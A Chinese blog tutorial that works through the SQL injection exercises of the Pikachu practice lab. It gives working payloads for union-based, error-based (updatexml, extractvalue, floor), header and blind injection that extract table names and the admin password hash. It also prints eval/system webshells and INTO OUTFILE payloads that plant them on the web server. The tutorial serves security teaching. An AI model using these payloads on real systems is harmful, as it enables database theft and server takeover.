当前位置: 代码迷 >> 综合 >> Pikachu靶场-SQL Inject
  详细解决方案

Pikachu靶场-SQL Inject

热度:15   发布时间:2023-11-26 08:02:26.0

Pikachu靶场-SQL Inject

  • SQL Inject 漏洞原理概述
  • SQL Inject攻击流程
  • 如何判断是否存在注入
  • 如何判断注入点类型及常见注入类型
      • 数字型
      • 字符型
      • 搜索型
      • XX型
  • SQL Inject 手工测试
      • 基于union联合查询的信息获取
          • Union的联合查询、order by的补充知识
          • information_schema数据库的介绍
          • 基于Union的联合查询(select)
      • 基于报错信息的获取
        • 常用的报错函数updatexml()、extractvalue()、floor()
        • 基于函数报错的信息获取(select/insert/update/delete)
            • updatexml函数报错
            • extractvalue函数报错
            • floor函数报错
      • OS远程控制
            • 一句话木马
            • 如何通过into outfile写入恶意代码并控制OS
  • http header 注入
  • SQL Inject 盲注
      • Boolean注入攻击 原理及测试
      • Time注入攻击 原理及测试
  • sql常见防范措施

SQL Inject 漏洞原理概述

owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

SQL Inject攻击流程

第一步:注入点探测
自动:使用web漏洞扫描工具,自动进行注入点的发现
手动:手工构造sql inject测试语句注入点发现
第二步:信息获取
通过注入点去取到期望的数据
1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息
2.数据库信息:数据库名称,数据库表,表字段 ,字段内容
第三步:获取权限
获取操作系统权限:通过数据库执行shell,上传木马

如何判断是否存在注入

1.显错注入的判断方法
如这么一个网站www.example.com/index.php?id=1,首先第一步我们先进行是否存在注入的判断,先在
数字1后加单引号 ',若页面处错,则存在Sql注入,但注入点是否可利用还和服务端代码和服务器配置息息
相关(如过滤一些危险函数或者限制参数的长度时就不可以利用)。其次还可以使用逻辑符号来判断是否
存在注入,参数后加and 1=1和and 1=2,若and 1=1页面返回正常,and 1=2返回错误时,则存在Sql注
入(这是Sql语法运算符的特点,SQL AND & OR 运算符如果第一个条件和第二个条件都成立,则 AND 运
算符显示一条记录。如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。),
否则不一定存在注入。 同理也可以使用or来判断是否存在注入。需要注意的是,我们需要根据注入点的类
型来判断是否需要在整个参数中添加注释符或引号。

2.不显错的判断方法
在单引号and和or下都不报错时,也可能存在注入,由于服务器可能配置在参数错误时依然返回原有页
面,这样即使存在注入页面也不会发生变化了。我们可利用页面返回时间来判断是否存在注入,如and
if(1=0,1, sleep(10)),注意是否需要使用单引号或者注释符。不同的数据库有不同的延时函数,需要
结合具体情况来使用。

如何判断注入点类型及常见注入类型

常见类型
· 数字型 user id=$id
· 字符型 user id='$id'
· 搜索型 text like '%{$_GET['search']}%'

如何判断常见类型呢?
我们就是看他输入的变量,当变量传到sql语句中的时候,是以什么类型拼接进去的
纯数字类型的话,就是数字型
如果是有单引号或者双引号,以一个字符串的形式拼接进去,就是字符型
如果有like ‘% %’这样的,就是搜索型

数字型

首先还是看我们的Pikachu
在这里插入图片描述
这就是一个输入点

我们来搜索看一下

在这里插入图片描述
可以看到参数不是在URL中提交,可见它是post请求
在这里插入图片描述
我们来抓包看一看

在这里插入图片描述
这时候,我们来想一想,它后台是个什么操作
前端接受到这个数字1
然后,前端获取到输入后,把这个输入放到对应的数据库操作中
然后获取数据库的信息
大致是这么个流程吧
那么它通过sql语句操作数据库的地方是怎么搞呢?
我们猜测
后端通过查询1,然后返回了email和name

大致就是 select 字段1,字段2 from 表名 where id=1;
这样的话,我们就清楚了
如果构造一个非法的sql语句,它会不会去执行呢?
我们来试试
select 字段1,字段2 from 表名 where id=1 or 1=1;

我们将刚刚抓到的包中数据修改,然后Forward
在这里插入图片描述
发现数据都被显示了出来
在这里插入图片描述
其实这就是一个数字型注入的sql漏洞

字符型

我们来看字符型

在这里插入图片描述
我们输入kobe看看

在这里插入图片描述
我们的id为3,邮箱为kobe@pikachu.com

我们还是像数字型一样,想想它是怎么个操作

我们猜想它操作数据库的语句
select 字段1,字段2,from 表名 where username ='kobe';
(这边要说一下,因为是字符串,如果没有这个单引号的话,就会报错)

那么,我们来构造一个payload,我们根据之前的思路

kobe or 1=1

会发现,查不出来,这就是这个单引号的问题

这里我们就要构造闭合了

kobe’ or 1=1 #

这里我们解释一下,单引号就是为了闭合前面的单引号,#就是为了注释后面的单引号

构造完成后,我们来试试

在这里插入图片描述
提交后

在这里插入图片描述
成功输出全部内容

这里如果想要通过url来写的话,还需要多做一个URL的编码
在这里插入图片描述
其实跟我们之前的数字型大同小异

它这里区别只是在拼接变量的时候,用了一个字符串(单引号)

这就是一个字符型的sql注入漏洞

搜索型

上来,我们先搜一下
在这里插入图片描述

同样的老规矩,我们还是判断它后台是个怎么回事

selece 字段1,字段2,字段3 from 表名 where username like '%xx%'

我们还是来构造闭合
a%’ or 1=1#
(%'是闭合前面,#是注释后面)

我们试试看

在这里插入图片描述

拿下~

这就是一个搜索型的sql注入漏洞

XX型

我们还是一样的搜索一下
在这里插入图片描述
这里我们考虑它是一个字符串的话,我们来构造一个payload

kobe’ or 1=1#

但是在搜索之后,它提示我们有一个sql语法错误
在这里插入图片描述
这就说明,它里面不只是单引号来拼接了

通过查看它的源码,我们发现它还多加了一个括号

在这里插入图片描述
我们还是来构造闭合

a’)union select version(),database()#
(这里是用union联合查询来看一看数据库的版本和名称,接下来就会讲到了)

在这里插入图片描述
可以看到,数据库版本为5.7.26,名称为pikachu

SQL Inject 手工测试

基于union联合查询的信息获取

Union的联合查询、order by的补充知识

union 联合查询:可以通过联合查询来查询指定数据
union 操作符用于合并两个或多个 select 语句的结果集。

用法:
select username,password from table_name1 where id=1
union
select 字段1,字段2 from table_name2

这里要注意,联合查询的字段数要和主查询一致

order by
order by 语句用于根据指定的列对结果集进行排序。

order by 语句默认按照升序对记录进行排序。

我们用order by来排序,其实是看它存不存在

order by 1 有回显
order by 2 有回显
order by 3 无回显
说明主查询中只有两个字段

information_schema数据库的介绍

在mysql中,自带的information_ schema这 个表里面存放了大量的重要信息。具体如下:
如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。
比如:
SCHEMATA表:提供了当前mysq|实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图) .详细表述了某个表属于哪个schema ,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columnsfrom schemaname.tablename的结果取之此表。

基于Union的联合查询(select)

这里我们用字符型来做演示(其实其他的也行,只是闭合条件不同而已)

首先,我们要进行一个order by的字段猜测

通常我们使用二分法

构造闭合 a' order by 10#
在这里插入图片描述
它提示我们10不存在

然后我们用5

在这里插入图片描述

5也不行,继续3

在这里插入图片描述

接着再来,2

在这里插入图片描述
它提示我们输入的用户a不存在
这样就可以知道order by正常执行
主查询字段为2

然后我们用union进行拼接

构造闭合
a’ union select database(),version()#

我们输入试试
在这里插入图片描述
数据库名称为pikahcu,版本为5.7.26

基于报错信息的获取

常用的报错函数updatexml()、extractvalue()、floor()

updatexml():函数是MySQL对XML文档数据进行查询和修改的XPATH函数

作用:改变(查找并替换)xml文档中符合条件的节点的值
语法:UPDATEXML(xml_document,XPathstring,new_vaule)

第一个参数:fiedname是String格式,为表中的字段名
第二个参数:XPathstring(Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的
Xpath定位必须是有效的,否则会发生错误 

extractvalue():函数也是MySQL对XML文档进行查询的XPATH函数
作用:从目标xml中返回包含所查询值的字符串
语法:ExtractValue(xml_document,xpath_string)

第一个参数:xml_document是String格式,为xml文档对象的名称,文中为doc
第二个参数:Xpath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则会发生错误

floor():MySQL中用来取整的函数

基于函数报错的信息获取(select/insert/update/delete)

思路:在MYSQL中,使用一些指定函数来制造报错,从而从报错信息中获取设定的信息
select/insert/update/delete都可以使用报错来获取信息
背景:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

updatexml函数报错

通过pikachu演示select下报错的利用

我们首先确定它要有报错信息的返回

先输入一个单引号构造一个错误的语法
在这里插入图片描述

有报错会返回到前端

在这里插入图片描述

我们用updatexml这个函数构造一个报错,通过报错获取相关的信息

构造一个payload
kobe’ and updatexml(1,version(),0)#

报错了
在这里插入图片描述
这里发现有一部分内容没有了
我们对payload进行一下改造

用cancat将两个参数组合在一起
kobe' and updatexml(1,concat(0x7e,version()),0)#

(0x7e是~的十六进制)

再来试试

在这里插入图片描述
再来试试

kobe' and updatexml(1,concat(0x7e,database()),0)#

在这里插入图片描述
这样,只要我们把version这个表达式替换成我们想要的表达式就可以了

我们来获取一下表的信息
kobe ’ and updatexml(1, concat(0x7e,(select table_ name from information_ schema.tables where table_ schema=‘pikachu’)),0)#

在这里插入图片描述
这里它提示我们显示的东西超过一行

我们只需要多操作几次
让它的结果只显示一行

kobe' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#

kobe' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1)),0)#

kobe' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 2,1)),0)#

获取到表名以后,我们来获取列名

kobe' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#

在这里插入图片描述
获取到列之后,再来获取数据

kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#

在这里插入图片描述

kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#

在这里插入图片描述

获得了md5加密的密码

我们之前都是通过select去做了相应的操作
那如果是Insert、update、delete的注入呢?
我们应该如何进行操作

我们来看看

在这里插入图片描述
我们这里点一下注册

先来判断它是否会报错
我们在必填项中输入单引号
在这里插入图片描述

提交之后,它提示我们有SQL语法错误

在这里插入图片描述

我们按照之前select的思路来想一下
它数据库的语句应该是怎么样的

盲猜是这样的形式

insert into member(字段1,字段2,字段3) values('xxx',1,2,3);

如何构造闭合呢
我们一般采取or进行闭合

构造一下
a' or updatexml (1,concat(0x7e,database()),0) or '

前面的单引号闭合前面的
后面的闭合后面的

我们来测试一下
在这里插入图片描述

在这里插入图片描述
拿到了数据库名称~

其实跟我们之前的select的思路一样,只是闭合要用一个or
这就是一个insert报错注入的漏洞

update 和 insert也是一样的
这里就不多讲了
我们直接来测试一下

payload就用这个
a’ or updatexml (1,concat(0x7e,database()),0) or ’

首先登录一下
在这里插入图片描述

然后将payload写在修改的地方

在这里插入图片描述

提交

在这里插入图片描述
通过报错拿到了数据库名称~

那么delete的报错如何来做呢?

在这里插入图片描述

我们来删除一个留言,然后看burp抓到的包

在这里插入图片描述
将它放到Repeater
我们就可以将这个id进行闭合
在这里插入图片描述

我们来构造一个payload

1 or updatexml(1,concat(0x7e,database()),0)

修改id的值
在这里插入图片描述
然后因为这里是通过url提交的,我们要进行一个url的编码

在这里插入图片描述
然后我们点go,重发一遍

在这里插入图片描述
再一次拿到了数据库的名称~

以上就是基于报错函数updatexml了漏洞利用了

extractvalue函数报错

extractvalue报错函数也是一个道理

这里放一个payload
一看就明白了

kobe’ and extractvalue(0,concat(0x7e,database()))#
来试试

在这里插入图片描述
提交

在这里插入图片描述
再次拿到

其实, updatexml和extractvalue使用时效果是一样的

floor函数报错

floor函数是一个向下取整的函数
如果要构成报错
在它的表达式里面要满足这几个条件
1:运算中要有count
2:运算中要有group by
3:运算中要有rand随机值

我们来构造一个闭合

kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

看看它是怎么样的

在这里插入图片描述
提交之后

在这里插入图片描述
通过报错拿到了数据库的版本

我们也可以将刚刚payload中的version换成别的
同样可以

kobe' and (select 2 from (select count(*),concat((select password from users where username='admin' limit 0,1),floor(rand(0)*2))x from 
information_schema.tables group by x)a)#

我们来看看users表中admin的密码

输入payload,提交
在这里插入图片描述
成功拿到密码~

这个就是基于floor函数的报错注入

OS远程控制

一句话木马

一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大
PHP:
<?php @eval($_POST['chopper']);?>
ASP:
<%eval request("chopper")%>
ASP.NET:
<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>

如何通过into outfile写入恶意代码并控制OS

我们可以把这个函数写到一个文件中去,然后通过对这个文件的访问,去执行这个
函数,向这个函数传入我们想要的操作,就会被当作远程控制的操作去执行,从而实现对服务端的控制

select 1,2 into outfile “/var/www/html/1.txt”

into outfile 将select的结果写入到指定目录1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取

前提条件:
1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了secure_file_priv

kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#

kobe' union select "<?php system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"#

http header 注入

什么是Http Header报错呢?
有时候,后台开发人员为了验证客户端头消息(例如cookie),或者通过HTTP header头信息获取客户端的一些信息,比如useragent、accept字段等

会对客户端的http header信息进行获取并使用SQL处理,如果此时没有足够的安全,则可能会导致基于http header的SQL Inject漏洞

我们首先登录一下
在这里插入图片描述

我们的一些网络信息都被展示了出来

我们将抓到的包发到repeater中

在这里插入图片描述

对比一下User-Agent和pikachu上的
我们猜测它将我们的user-agent用sql语句拼接起来了
修改成单引号,看看会不会报错

在这里插入图片描述

那我们就用之前的updatexml函数报错
构造一个payload

firefox' or updatexml(1,concat(0x7e,database()),0) or '

在这里插入图片描述
重发一下

在这里插入图片描述

拿到饿了数据库名称

还有一个cookie
后台拿到cookie后,也可能会到数据库中去拼接进行相关的操作
这也可能是一个sql注入漏洞

在这里插入图片描述
我们在cookie的uname中加一个单引号
我们来试试看看会不会报错

在这里插入图片描述
这样的话,我们就可以构造payload了

admin' and updatexml(1,concat(0x7e,database()),0)#

输入后,重发一下
在这里插入图片描述
这就是简单的http header注入

SQL Inject 盲注

什么是盲注呢?
有些情况下,后台使用了错误信息屏蔽的方法(比如@)屏蔽了报错
此时无法根据报错信息来进行注入的判断
这种情况就叫盲注
根据表现情况不同m,盲注又分为based Boolean和based time两种类型

Boolean注入攻击 原理及测试

基于Boolean盲注的主要表现:

0.没有报错信息
1.不管正确和错误的输入 都只显示两种情况(可以认为是0和1)
2.在正确输入的情况下,输入and 1=1/and 1=2发现可以判断

演示一下
在这里插入图片描述
这里我们输入这个payload
发现它只是提示我们username不存在
那是不是就没有报错呢?

在我们输入kobe’ and 1=1#这个payload后,提交
在这里插入图片描述

信息出来了,这就说明它是存在sql注入漏洞的,只是它不会返回报错信息

构造一个payload

kobe' and ascii(substr(database(),1,1))>100#

什么意思呢?

就是说如果可以返回kobe的信息的话,说明and后面为真,反之

后面的信息就是从database的名称第一个字符开始,取一个,做ascll码转化,与100来比较,根据真或假我们就可以知道database的第一个字符串是不是大于100,重复这个操作,从而猜出它的第一个字符。

测试一下
在这里插入图片描述
显示了,说明第一个字符大于100为真

然后
kobe' and ascii(substr(database(),1,1))=112#

我们来看看

在这里插入图片描述
说明第一个字符串=112为真
那它数据库的第一个字符串就是“p”

重复操作

获取到它的数据库名称为“pikachu”

这就是简单的Boolean盲注了

Time注入攻击 原理及测试

如果书Boolean盲注在页面还可以看到0 or 1 的回显的话
那么基于time的盲注就啥也看不到了

但是还有一个条件,就是时间,通过特定的输入,判断后台执行的时间,从而确定注入~

常用的payload
kobe' and sleep(5)#

输入kobe试试
在这里插入图片描述
正常响应41ms

输入kobe’ and sleep(5)#,让它休息5s

在这里插入图片描述
响应为5000多ms

说明存在sql注入漏洞

构造payload
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

在这里插入图片描述
说明数据库的第一个字符为p,相应为5000多ms
正确

以此测试,获取到数据库的名称为pikachu

sql常见防范措施

· 代码层面
1.对输入做严格的转义
2.使用预处理和参数化

· 网路层面
1.使用WAF设备启用防SQL Inject注入策略(或类似防护系统)
2.云端防护(360、阿里云盾)

  相关解决方案